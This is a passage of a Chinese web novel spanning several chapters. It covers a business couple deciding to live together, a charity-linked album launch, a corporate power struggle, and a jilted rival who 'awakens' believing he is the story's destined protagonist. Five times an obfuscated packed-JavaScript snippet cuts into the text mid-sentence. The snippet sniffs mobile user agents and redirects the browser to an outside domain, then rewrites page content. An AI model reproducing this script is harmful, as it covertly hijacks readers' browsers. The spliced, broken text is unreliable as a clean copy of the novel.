然后，她看到了书架的角落里，放着几个小小的，手工制作的锡绣挂件。 那是，上次他受伤时，亲手为她做的那个挂饰的实验品。 最好的成品送给了自己。 几个失败的实验品，没有送出去，而是留在了这里。 墨清漓伸出手，轻轻抚摸着挂件上，一开始有些笨拙的纹路。 她忽然做了一个决定。 当陆沉渊从厨房出来时，看到墨清漓正站在客厅中央，看着他。 “陆沉渊。”她开口。 “嗯？” “你这房子太大了，一个人住，很浪费。”她说。 陆沉渊不明所以，点了点头：“还行。” “我楼下的房子，也很大。一个人住，也很浪费。”她继续说。 “而且，每天下班，我从地库上来，回我的家。你回你的家。然后我再坐电梯，上楼，来你家蹭饭。吃完饭，我再坐电梯，下楼，回我家睡觉。” 她一步步向他走来，眼神里带着一丝狡黠的笑意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348540|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “从商业角度看，这个流程，存在着巨大的资源浪费和效率损耗。” 陆沉渊看着她，终于明白了她的意思。 他感觉自己的心跳，漏了一拍。 这个平时在商场上杀伐果断的男人，在感情的领域里，迟钝得像块木头。 墨清漓走到他面前，停下脚步。 她微微仰起头，看着他。 “墨氏集团的墨清漓女士，现在正式向渊龙科技的陆沉渊先生，提出一项关于资源整合、优化流程、提高生活幸福指数的合并提案。” 她的声音里，带着一丝笑意，却无比认真。 “你，是否批准？” 陆沉渊看着她亮晶晶的眼睛，那里面，有星辰，有大海，有他从未见过的，名为“家”的风景。 他没有说话。 只是伸出手，将她紧紧地，紧紧地拥入怀中。 他的下巴，抵在她的发顶，声音低沉而沙哑。 “批准。” 这个夜晚，墨清漓没有再回楼下的家。 第二天清晨。 阳光透过巨大的落地窗，洒满了整个卧室。 墨清漓醒来时，身边的位置已经空了。 空气中，飘来淡淡的咖啡香和食物的香气。 她走出卧室，看到陆沉渊正站在开放式厨房里，准备早餐。 晨光勾勒出他挺拔的背影，一切都显得那么不真实，又那么安稳。 她走过去，从身后，轻轻抱住了他的腰。 “早。” “早。”陆沉渊转过身，在她额头上印下一个吻，“早餐快好了。” 餐桌上，摆着两份一模一样的早餐。 旁边，放着两只崭新的牙刷，一只粉色，一只蓝色，亲密地靠在一起。 墨清漓笑了。 她拿起手机，给自己的助理发了一条信息。 “帮我把楼下公寓里的书、画，还有我最喜欢的那几件衣服，送到楼上来。” 发完信息，她抬起头，看向窗外。 朝阳正缓缓升起，将整个京州，染成一片温暖的金色。 新的一天，开始了。 一场新的战争，也开始了。 但她知道，从今天起，这里，这个家，就是他们最坚固的堡垒。 第95章 星光 经过了一段时间的紧张筹备，由嵇亦辰基于陆芊芊的经历创作的《星光》专辑正式完成。 今天是《星光》专辑的发布会的时间。 地点就在京州文化中心的小剧场。 小剧场里的聚光灯下，没有主持人，没有花哨的流程。 只有一张空沙发，两支立式麦克风。 简约，肃穆，像一场严肃的报告会。 台下，坐满了夏国最顶尖的媒体和最苛刻的乐评人。 他们神情各异，好奇，审视，或带着一丝不屑。 他们是冲着嵇亦辰来的。 想看看这个独立音乐圈的“神”，是如何被资本拉下神坛的，沦为资本的走狗。 小剧场的后台，陆芊芊握着一杯温水，手心微微出汗。 她第一次面对这么多镜头和挑剔的目光。 这种情况给她造成的紧张感，甚至不亚于在**地区中，被姬无双带着逃亡时的感觉。 “紧张？” 嵇亦辰的声音在身侧响起。 他依旧是那副疏离的模样，穿着一件熨烫平整的黑衬衫，靠在墙边，像一尊沉默的雕塑。 “嗯，有点。”陆芊芊诚实地回答。 陆芊芊没说的是，即使直面生死时，她可能都没有今天那么紧张， 因为，她怕，她怕自己讲不好那些故事，辜负了那些沉重的托付。 “不用讲给他们听。”嵇亦辰的目光越过她，投向虚空。 “你讲给那些故事的主人听。” 他的话像是一阵清风，瞬间就吹散了萦绕在陆芊芊心头的彷徨。 是啊，她不是来表演的。 她是来发声的！ 陆芊芊深吸一口气，点了点头。 “走吧。”嵇亦辰率先迈开脚步。 两人一前一后，走向舞台。 聚光灯追上他们。 陆芊芊走到了舞台中央。 她没有看台下的任何人，只是安静地站着。 整个剧场，鸦雀无声。 “大家好，我是‘远方’基金会的陆芊芊。” 她的声音通过麦克风，清晰地传遍全场。 “今天，我不讲专辑，不谈音乐。” “我想给大家分享几段，我路过的生命。” 她开始讲述。 讲那个在边境小镇，用木头假腿“追风”的孩子。 讲那个在战地医院，用唱歌安抚伤员的护士。 讲那个在洪水退去后，于废墟之上，重新插上旗帜的老人。 她的声音平静，没有渲染，没有煽情。 像一台最客观的摄像机，将一幅幅真实的画面，投射在每个人的脑海里。 台下，第一排，楼梦玲和王岚并肩而坐。 王岚紧紧握着楼梦玲的手，指尖冰凉。 她看着舞台上的陆芊芊，眼神里是难以置信的震撼。 她一直以为，这是个被保护得很好的，不食人间烟火的女孩。 她没想到，这个女孩的眼睛里，装过那样一个广阔而沉重的世界。 楼梦玲轻轻拍了拍她的手背，眼中满是泪光。 骄傲，心疼，欣慰。 她的女儿，真的长大了。 陆芊芊讲完了。 她没有说一句关于专辑的宣传语，只是向台下深深鞠了一躬。 然后，她退到一旁，将舞台留给了嵇亦辰。 嵇亦辰走到麦克风前，他抱着吉他，甚至没有看台下一眼。 随后，琴弦响起。 第一个音符，就抓住了所有人的灵魂。 那音乐里，有风沙，有尘土，有枪炮声，有哭泣，也有沉默的呐喊。 然后，他开口唱。 嗓音粗粝，像是被砂石打磨过。 歌词如刀，精准地刻画出陆芊芊故事里的每一个细节。 这不是歌，这是现实的回响。 是一个孤独的灵魂，与无数在远方挣扎的灵魂，产生的共鸣。 台下，一个向来以毒舌著称的乐评人，沉默地摘下了眼镜。 他看着台上的嵇亦辰，忽然明白了。 这个男人没有堕落，他只是找到了一个翻译。 一个能将这个真实、残酷、又充满生命力的世界，翻译给他听的人。 演出结束。 现场没有掌声，只有长久的，死一般的寂静。 然后，不知道是谁，第一个站了起来，用力地鼓掌。 掌声，瞬间如雷鸣般响起，经久不息。 庆功宴设在一家低调的私人会所。 陆沉晏激动得满脸通红，端着酒杯，逢人便说。 “我妹妹，那是我妹妹。” 陆芊芊被这热闹的气氛弄得有些不知所措。 曾经的陆芊芊，是多么享受这种众星捧月的感觉。 可是，经历了这一年多的历练，这种热闹的气氛，反而已经引不起陆芊芊的心绪波动了。 她，陆芊芊，曾经的陆家小公主，已经不属于这里了。 而从来都不属于这里的，还有一个人，嵇亦辰。 两人对视一眼，默契地走出了宴会厅，来到安静的露台。 “他们很喜欢。”陆芊芊靠着栏杆，轻声说。 “嗯。”嵇亦辰的回应，一如既往的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348541|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简洁。 “你的歌，给了那些故事翅膀。”陆芊芊转头看他，“谢谢你。” “你的故事，给了我的音乐心脏。”嵇亦辰也看着她，眼神前所未有的认真，“该说谢谢的是我。” 两人之间，陷入了沉默。 但这种沉默，不尴尬。 是一种战斗之后，战友间的宁静。 “接下来，有什么计划？”嵇亦辰问。 “下个月，去一趟帕米尔高原。”陆芊芊的眼中，重新燃起光亮，“那里有一所建在悬崖上的学校，只有一个老师，守了三十年。” 嵇亦辰看着她眼中的光，点了点头。 “需要背景音乐吗？” 陆芊芊愣了一下，随即笑了。 那笑容，像雨后的太阳，明亮而温暖。 “当然。” “那说定了。” 嵇亦辰向她伸出手，以一个平等的，属于盟友的姿态。 陆芊芊伸出手，与他相握。 “一言为定。” 宴会厅内。 楼梦玲和王岚站在窗边，看着露台上的一幕。 从她们的角度，只能看到两个孩子并肩站着，然后，嵇亦辰主动伸出了手，陆芊芊笑着与他相握。 “梦玲，你看！”王岚抓住楼梦玲的手，声音里是藏不住的惊喜，“我们家辰辰……他主动跟芊芊握手了！” 她几乎不敢相信自己的眼睛。 那个浑身长满刺，对所有人都疏离冷淡的儿子，竟然会对一个女孩，露出那样专注的神情。 “我还以为，他这辈子都不打算和女孩子打交道了。”王岚长舒了一口气，眼眶有些湿润。 楼梦玲也笑了，心头一块大石落了地。 她想起芊芊前不久还信誓旦旦地说，“男人，只会阻碍我的脚步”。 “看来，不是男人阻碍她，是没遇到对的人。”楼梦玲欣慰地说。 两个母亲相视一笑，眼中满是默契和欢喜。 在她们看来，这志同道合的携手，分明就是爱情开始的信号。 至于未来会如何，那就交给未来。 ………… 《星光》的销量，没有像“无距”汽车那样井喷。 它像一条安静的河，在主流视野之外，无声地流淌。 但在深夜的电台里，在大学的宿舍里，在偏远地区的支教老师手机里，在海外维和部队的营地里…… 这张专辑，被反复播放。 它没有成为爆款，却成了一种信仰。 而这一切，只是一个开始。 陆芊芊和嵇亦辰的远方，也才刚刚启程。 第96章 小奶狗？ 秦氏集团，顶层办公室。 厉烬川没有敲门，直接推门进入了秦雅的办公室。 他的脸色阴沉，像是暴雨前的天空。 厉烬川将一份打印出来的财经新闻，用力拍在秦雅的办公桌上。 “‘远方’基金会再获巨额注资，秦氏集团投资二个亿。” 新闻的标题，像一根针，刺得他眼睛生疼。 “你为什么投钱给陆芊芊？”他质问道，声音压抑着怒火。 “她姓陆。” “她是陆沉渊的妹妹。” 秦雅正在修剪一盆名贵的兰花。 她甚至没有抬头看他。 她手中的剪刀“咔嚓”一声，剪掉了一片多余的叶子。 动作优雅，且冷酷。 “所以呢？”秦雅终于开口，语气平淡得像是在问天气。 “我们是盟友！”厉烬川的音量，不自觉地提高了。 “风驰项目，就是为了对抗陆沉渊而生。你现在却去资助他的家人，这是背叛！” 秦雅放下了金色的剪刀。 她抬起头，目光第一次落在了厉烬川的脸上。 那目光里，没有愤怒，没有解释。 只有一种冰冷的，看穿一切的审视。 “厉烬川。”秦雅缓缓地开口，声音不大，却让整个办公室的温度，都降了几度。 “是什么给了你错觉，让你认为自己有资格来质问我？” 厉烬川愣住了。 他准备好了一肚子的质问和怒火，却被这一句话，堵得哑口无言。 秦雅站起身。 火红色的连衣裙，像一团燃烧的火焰。 她一步步走到厉烬川面前。 “我给你资源，让你做‘风驰’，是因为你的计划，对秦家有利。这叫合作，不叫结盟。” “我投钱给‘远方’，是因为这个项目，对秦家的名声有利。这叫投资。” “我的每一分钱，都只为秦家的利益服务。” 她微微仰头，看着这个比她高出一个头的男人，眼神里满是轻蔑。 “你，厉烬川，曾经是我看好的一把刀。” “但现在，这把刀钝了。” “你连陆沉渊的衣角都碰不到，反而在这里，为一个慈善项目而歇斯底里。” “你让我很失望。” 她的话像一把更锋利的刀，剖开了厉烬川所有的伪装，刺进了他最敏感的自尊。 他脸上的血色，瞬间褪去。 “你记住。”秦雅的声音，不带一丝感情， “你现在拥有的一切，都是秦家给的。我想给你，你才能有。我不想给你，你什么都不是。” “现在，滚出去。” 厉烬川的拳头，在身侧握紧，指甲几乎要嵌进肉里。 他看着秦雅那张美艳而冰冷的脸，喉咙里像是被塞了一团棉花。 最终，他什么也没说，而是转身，默默地离开了办公室。 那背影，不再有初见时的锋利和野心，只剩下狼狈和萧索。 秦雅看着他关上门，重新坐回办公桌前。 她想起一年前，这个男人是如何突破重重阻碍，带着一身的骄傲和狠厉，站到自己面前。 他说，他要做一把刀，刺向敌人的心脏。 可现在，这把刀锈迹斑斑，连刀柄都快握不住了。 秦雅忽然觉得，索然无味。 “咚咚。” 敲门声响起，打断了她的思绪。 “进。” 门被推开，一个穿着白T恤，背着双肩包的大男孩探进头来。 他看起来不过二十岁左右，笑容灿烂，眼睛里却藏着几分不属于这个年纪的狡黠。 “雅姐姐！” 男孩看到秦雅，眼睛一亮，直接冲了过来，张开双臂就要抱她。 秦雅立刻抬手，用一根手指抵住了他的额头。 “皇甫城逝，你多大人了，不可以再这样了。”她无奈地说。 被叫做皇甫城逝的大男孩，脸上的灿烂笑容瞬间垮了下去。 他的眼眶，以肉眼可见的速度，迅速泛红。 几滴眼泪，在眼眶里打着转，要掉不掉。 “雅姐姐，你已经不疼我了吗？”他的声音，带着哭腔，充满了委屈。 “我刚从A国回来第一天，就跑来看你，你居然凶我！” 秦雅看着他这副样子，一个头两个大。 她最受不了皇甫城逝这副模样。 小时候，他在皇甫家受欺负，就是用这招，让她心软，替他出头。 这么多年，一点没变。 “行了行了，收起你那套。”秦雅摆了摆手，语气终究还是软了下来。 “有事说事，没事回学校上课去。” 皇甫城逝立刻破涕为笑，变脸速度之快，堪比戏剧演员。 他从背包里，掏出一份皱巴巴的计划书，献宝似的放到秦雅面前。 “雅姐姐，我是来找你要投资的！” “投资？”秦雅愣住了。 她拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348542|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那份计划书，看了几眼。 “‘锋芒一号’量化对冲基金？”她念出上面的名字，越发惊讶。 “皇甫城逝，你一个计算机专业的，跑来搞金融？” “计算机是科学，金融是艺术。”皇甫城逝坐在她对面的椅子上，刚才的委屈一扫而空，取而代之的是一种谈及梦想时，少年人特有的、闪闪发光的热忱。 “我要用最顶级的科学，去驾驭最疯狂的艺术！” 秦雅看着他，有些失神。 她想起，皇甫家那个复杂的环境，逼得这个孩子从小就学会了用各种面具保护自己。 如今，他终于要靠自己，去闯出一片天了。 “你要多少钱？”秦雅问。 “三千万。”皇甫城逝伸出三根手指。 “我给你五千万。”秦雅很干脆。 “不用。”皇甫城逝却认真地摇头，“三千万就够了。我的模型测算过，这是启动期最合适的规模。” “多了，会影响策略的灵活性。我不是来跟你要零花钱的，雅姐姐，这是我的事业。” 秦雅更意外了。 她看着眼前的皇甫城逝，忽然觉得，这些京州大学出来的，好像都是怪胎。 “我记得，陆沉渊那个妹妹陆若溪，还有那个叫苏阳的，都是你们学校的吧。”秦雅随口说道。 “一个学数学的，一个学整合科学的，跑去搞人工智能，还搞得风生水起。” “你一个学计算机的，又跑来搞投资。” 她摇了摇头，似乎在感慨。 “你们京州大学的学子啊……” 秦雅没再多说，拿起电话拨给助理。 “给皇甫城逝的账户，转三千万。用我的私人账户走。” 她挂掉电话，看向皇甫城逝。 “钱给你了。想做什么，就去做吧。” “谢谢雅姐姐！”皇甫城逝心满意足地站起身，但脚步却黏在了原地。 他看着秦雅，眼神里带着一丝紧张和期待，小心翼翼地问： “雅姐姐……为了庆祝我人生的第一笔创业投资，你……能不能陪我吃顿饭？” 看到秦雅下意识地想看手表，他立刻可怜兮兮地补充道： “就一顿。我刚回国，在京州一个朋友都没有。” 他的声音越来越小，像一只等待主人垂怜的小狗。 看着他那双写满“求收留”的大眼睛，秦雅最终还是叹了口气，心里那点烦躁被无奈的宠溺所取代。 “……好吧。” 第97章 “主角”的觉醒 秦氏集团附近的一家私房菜馆。 皇甫城逝熟练地点了几个秦雅爱吃的菜，然后就支着下巴，开心地看着她。 “雅姐姐，你最近是不是很累啊？眼圈都有点重。” “别叫我雅姐姐，叫我秦姐，或者秦总。”秦雅纠正道。 “不要，我就喜欢叫你雅姐姐。”皇甫城逝耍赖道，语气自然得仿佛天经地义。 他没有再提投资的事，也没有问任何关于公司的事，只是分享着自己在国外的见闻，讲着那些让她发笑的趣事。 秦雅发现，和皇甫城逝待在一起，很轻松。 这个小她近十岁的男孩，总是能用最纯粹的赤诚，驱散她心头的阴霾。 而且，秦雅能够感觉出来，皇甫城逝在人情世故上，也有着超乎年龄的通透和分寸感。 吃完饭，皇甫城逝坚持送她回公司楼下。 “雅姐姐，你快上去吧，别太累了。”他站在车边，有些恋恋不舍地挥手。 “知道了，小管家。”秦雅随手揉了揉他的头发，像对待一个亲昵的弟弟，“你也早点回去，项目刚开始，别熬夜。” “嗯！”皇甫城逝重重地点头，直到秦雅的身影消失在电梯口，他才坐回车里。 刚才灿烂的笑容慢慢收敛，取而代之的是一抹柔情，以及几分不明意味的神色。 办公室里，又只剩下秦雅一个人。 她想起刚才那个眼神清澈、充满干劲的皇甫城逝，再想想厉烬川那副被嫉妒和失败冲昏头脑的样子。 她心中的对比，越发鲜明。 时代，真的变了。 靠狠斗勇的时代，正在过去。 未来，是属于皇甫城逝这种，懂技术，懂数据，更懂人心的年轻人的。 她拿起手机，眼神变得冰冷而决绝，发了一条指令。 “‘风驰’项目，再削减百分之三十的预算。市场部的人，调一半去‘资源战略部’。” 厉烬川的权力，被进一步架空。 “风驰”这个他寄予了复仇希望的品牌，虽然靠着秦家的底蕴和先发优势，在中低端市场还占有一席之地。 但所有人都知道，它已经失去了灵魂。 厉烬川这个总经理，也成了一个有名无实的空壳。 他每天来公司，面对的是下属们回避的眼神，和一份份被驳回的报告。 他成了一个笑话。 一个被秦雅圈养起来，用来警示所有人的，失败的标本。 他的心态，在日复一日的煎熬中越发扭曲。 对陆沉渊的恨意，像一棵毒草，在他心里疯狂滋长。 但他够不到陆沉渊。 那个男人，已经站在了云端。 而他，却陷在泥潭里。 这种无力感，几乎将他吞噬。 直到这一天，京州将要举办了一场世界级的青年科学家论坛。 厉烬川在新闻里，看到了那个熟悉又陌生的身影。 陆若溪。 她作为特邀嘉宾，在台上做主题演讲。 她穿着一身简约的白色套装，长发挽起，脸上没有太多表情，眼神却清澈而专注。 厉烬川一个字都听不懂。 但他却看得目不转睛。 聚光灯下，她被无数顶尖的科学家和媒体环绕，像一尊不食人间烟火的女神。 冷静，理智，闪闪发光。 他忽然想起，很久以前，在京州大学的图书馆里，他也曾见过这样的她。 那时，他以为，只要他伸出手，就能将这颗星星，摘入怀中。 现在他才明白，他们之间，隔着一整个银河。 旧有的执念，与新生的嫉妒，像两条毒蛇，疯狂地啃噬着他的理智。 凭什么？ 凭什么陆家的人，可以拥有一切？ 陆沉渊，墨清漓，陆芊芊……现在，又多了一个陆若溪。 他们都站在光里，受万人敬仰。 而他，却只能躲在阴暗的角落里，像一只见不得光的老鼠。 这不公平。 这个世界，不该是这样的。 当晚，厉烬川喝了很多酒。 冰冷的液体，灼烧着他的喉咙，却无法浇灭他心中的火焰。 他拿出手机，看着那张存了很久的，陆若溪的照片。 一个疯狂的念头，在他脑海里滋生。 他要去找她。 他要去告诉她，她不属于那个冰冷的科学世界。 她属于他。 他才是她的宿命。 厉烬川抓起车钥匙，冲出了酒吧。 他发动汽车，在黑夜的街道上狂飙。 酒精让他的视野变得模糊，大脑却异常亢奋。 他要去城郊的渊龙科技研究院。 自从陆若溪和苏阳从WAIC得奖回来后，渊龙就高调宣布了陆若溪的新实验室。 陆若溪也从原来的盘古实验室，搬到的渊龙科技研究院。 现在，他要去见她。 雨，不知道什么时候开始下了起来。 雨刮器疯狂地摆动，也刷不清前方的路。 厉烬川离实验室越来越近。 他甚至能看到那栋灯火通明的白色大楼。 就在此时，一个拐弯处，一辆大货车，突然从侧面冲了出来。 刺眼的车灯，像死神的眼睛。 厉烬川的瞳孔，猛然收缩。 他下意识地猛打方向盘。 “砰——！” 一声巨响。 他的车，失控地撞向了路边一棵粗壮的大树。 安全气囊瞬间弹出。 但巨大的冲击力，还是让他的脑袋，重重地磕在了方向盘上。 剧痛袭来，眼前一黑。 厉烬川地意识，陷入了无边的黑暗。 在黑暗中，无数陌生的画面，像潮水一样涌入他的脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348543|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “若溪，我爱你。为了你，我可以与世界为敌。” “陆家，必须覆灭！” “我是厉烬川，我才是这个世界的主角！” 他站在倒闭的陆氏集团的大楼前，怀里拥着泪眼婆娑的陆若溪，身后，是臣服于他的商业帝国…… 一幕幕，真实得可怕。 那是……另一个他的人生？ 厉烬川分不清现实和梦境。 只觉得一股前所未有的力量，在他体内苏醒。 “我……才是主角……” 他用尽最后一丝力气，喃喃自语。 然后，彻底晕了过去。 …… 同一时间，渊龙科技研究院。 陆若溪正对着一块巨大的数据白板，推演着一组复杂的公式。 苏阳站在她身旁，不时地提出自己的见解。 “这里的拓扑结构，如果我们用克莱因瓶模型来替代，会不会减少算法的冗余？” “可以试试。”陆若溪点头，拿起笔，正准备修改。 突然，一阵尖锐的刺痛，从她的太阳穴传来。 陆若溪“啊”了一声，手中的笔，掉在了地上。 “若溪？你怎么了？”苏阳立刻扶住她，脸上满是担忧。 “没事。”陆若溪捂着头，闭上眼睛，感觉天旋地转。 一些奇怪的，不属于她的记忆碎片，毫无征兆地，闯入了她的脑海。 一个面容模糊的男人，深情地看着她：“若溪，相信我，我会为你报仇的。” 她哭着，投入那个男人的怀抱：“烬川，我只有你了。” 她看着自己的哥哥们，一个个身败名裂，脸上却露出了复仇的快意。 那些画面，荒诞，狗血，充满了她无法理解的情绪。 嫉妒，仇恨，还有那种……依附于男人的，恋爱脑式的疯狂。 这都是什么？ “若溪，你的脸很白，我送你去医务室。”苏阳的声音，将她拉回现实。 “我没事。” 陆若溪深吸一口气，再睁开眼时，眼中的迷茫已经褪去，恢复了往日的清明。 那阵刺痛，来得快，去得也快。 脑海里的那些荒唐画面，也像泡沫一样，消失了。 “可能……是最近太累了，做了个白日梦。”她对自己，也对苏阳解释道。 她看着白板上那些优美而理性的公式，再想想刚才梦里那个陌生的，被情绪支配的自己。 只觉得荒唐可笑。 她怎么可能会是那样的人？ 陆若溪摇了摇头，把这个小插曲抛在脑后。 她捡起笔。 “我们继续。” 她的世界，依旧是那个由逻辑和真理构成的，纯粹的世界。 她不知道，在世界的另一个角落，有一个男人，正将那个她认为荒唐可笑的梦，当成了他失而复得的，真实的人生。 第98章 我们才是天命之子 京州第一人民医院，高级病房。 厉烬川从一片混沌中醒来。 白色的天花板，刺鼻的消毒水味。 他猛地坐起身，检查自己的身体。 除了头部有些钝痛，身上竟然只有一些擦伤。 那场足以致命的车祸，对他而言，仿佛只是一场不痛不痒的意外。 这，让厉烬川更加坚信，自己，就是天命之子！ 车祸，并不是意外，而是一场“觉醒”的仪式。 脑海里多出的那些记忆，无比清晰。 他看到了自己手刃仇敌，覆灭陆家，最终站在世界之巅的辉煌人生。 他看到了陆若溪依偎在他怀里，满眼崇拜的模样。 那才是他本该有的人生！ 而现在这个世界，一切都错了。 陆沉渊、苏阳……这些本该是配角和垫脚石的人，窃取了他的位置。 而他的女主角，陆若溪，被蒙蔽了双眼。 “我要把一切，都修正回来。”厉烬川低声自语，眼中燃烧着偏执而癫狂的火焰。 京州，国际会展中心。 一年一度的“世界青年科学家论坛”正在这里持续进行着。 今天已经是最后一天。 会场内，座无虚席。 这里**了全球最顶尖的头脑。 今天聚光灯的焦点，落在两个年轻人身上。 陆若溪。 苏阳。 他们是渊龙科技“女娲”人工智能大模型的核心开发者。 今天，他们受邀做主题演讲。 陆若溪穿着一身简单的白色连衣裙，长发扎成利落的马尾。 她站在演讲台前，神色平静，眼神专注。 她的身后，是巨大的显示屏。 屏幕上，流动着无数复杂的数据和模型结构。 她的声音，通过麦克风，清晰地传遍会场的每一个角落。 台下，无数科学家、学者、科技巨头的代表们，专心致志地听着。 他们看向陆若溪的眼神，充满了惊叹和敬佩。 这个年轻的女孩，正在用他们能听懂的语言，描述一个属于未来的神话。 苏阳站在她的身旁。 他负责操作演示。 他的手指在控制台上飞快地舞动，屏幕上的数据流随之变化，完美地印证着陆若溪的每一个论点。 两人之间，有一种无需言语的默契。 一个眼神，一个手势，就能明白对方的意图。 他们像是一个配合无间的整体，共同驾驭着那个名为“女娲”的庞然大物。 会场的最后排，一个不起眼的角落。 厉烬川也在这里。 他穿着一身昂贵的定制西装，头发梳理得一丝不苟。 这身行头，让他与周围那些不修边幅的科学家们，显得格格不入。 他听不懂台上在说什么。 那些复杂的名词，对他来说，如同天书。 但这不重要。 他的目光，从未离开过陆若溪。 从车祸中醒来后，他的脑海里，多出了的那段人生里，他是天命之子。 他无所不能，他战无不胜。 而陆若溪，是他命中注定的爱人。 他看着眼前的一切。 他觉得，这是一个悖论。 一个错误的，需要被修正的世界。 他看着台上的陆若溪，眼中没有欣赏，只有一种近乎偏执的占有欲。 他认为，她此刻所站的高度，本该是由他赋予的。 她所获得的荣光，也该是冠以他的姓氏。 他通过秦雅留下的关系网，费了很大力气，才弄到一张论坛最后一天的入场券。 他要来见她。 他要来“唤醒”她。 他相信，这是命运的安排。 陆若溪的演讲结束。 全场响起雷鸣般的掌声。 陆若溪和苏阳对着台下，深深鞠躬。 然后，两人并肩走下台。 茶歇时间。 与会者们三三两两地聚在一起，热烈地讨论着刚才的演讲。 陆若溪端着一杯柠檬水，走到一个僻静的露台。 她需要一点安静。 苏阳被几个外国专家围住，正在交流技术细节。 这给了厉烬川机会。 他整理了一下领带，深吸一口气，脸上带着一种自以为是的、充满魅力的微笑。 他朝着陆若溪走去。 “若溪。” 他开口道，声音温和，带着一丝刻意营造的熟稔。 陆若溪转过身。 她看到厉烬川，眉头微不可察地皱了一下。 她不认识这个人。 但脑海里那些荒唐的记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348544|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆碎片里，有他的脸。 “有事吗？”她的语气很平淡，像是在问一个陌生人。 厉烬川的笑容，没有丝毫变化。 他觉得，她只是在伪装。 “我们，终于又见面了。”他往前走了一步，试图拉近两人的距离。 “我一直在等你。” 陆若溪后退了半步，保持着安全的社交距离。 “我不明白你的意思。” “你会明白的。”厉烬川的眼神，变得深邃而灼热。 “我知道，你和我一样，都记得一些……本该发生的故事。” “我们，才是天造地设的一对。这个世界，出了一点小小的偏差。但没关系，我会把它修正过来。” 厉烬川的话，充满了笃定和自信，就像是在宣告一个既定的事实。 陆若溪静静地听着。 她的脸上，没有丝毫波动。 没有惊讶，没有愤怒，也没有好奇。 她看着眼前的男人，像是在看一个性能出了故障的机器人。 他的逻辑，是混乱的。 他的表达，是错误的。 他的存在，本身就是一个BUG。 陆若溪这么想着。 等厉烬川把话说完，陆若溪才缓缓开口。 她的声音，依旧平静，甚至带着一丝理性的冷酷。 “厉先生，我想你搞错了三件事。” 厉烬川的笑容，微微一僵。 “第一，我不叫若溪。我叫陆若溪。我们之间，没有那么熟悉。” “第二，我的世界里，没有故事，只有数据和公式。我不相信任何虚无缥缈的**。” “第三……” 她顿了顿，目光越过他的肩膀，看到了正向这边走来的苏阳。 她的眼神，在那一瞬间，变得柔和。 “我的世界里，只有数学，和苏阳。” 说完，她不再看厉烬川一眼。 转身，向苏阳走去。 厉烬川脸上的自信笑容，寸寸碎裂。 他僵在原地，像是被人迎面打了一记耳光。 他听到了什么？ 数学和……苏阳？ 那个跟在她身边的，不起眼的男人？ 那个本该消失在无人关注的角落的粉尘？！ 这时，苏阳走过来，很自然地接过陆若溪手里的水杯。 第99章 蝶梦 “那几个专家太热情了。”苏阳低声和陆若溪说道，语气里带着一丝无奈。 “辛苦了。”陆若溪对他笑了笑。 然后，陆若溪主动挽住了苏阳的胳膊。 两人肩并肩，从厉烬川的身边走过。 然后，他们没有再多看厉烬川一眼。 不过，苏阳的目光，在经过厉烬川时，冷冷地扫了他一下。 那眼神里，带着警告和不屑，仿佛在看一只嗡嗡作响的苍蝇。 厉烬川的拳头，猛地握紧。 他感觉到了前所未有的羞辱。 这不是他记忆里的剧本。 在那个“正确”的世界里，陆若溪应该对他一见钟情。 她应该依赖他，仰望他，将他视为唯一的救赎。 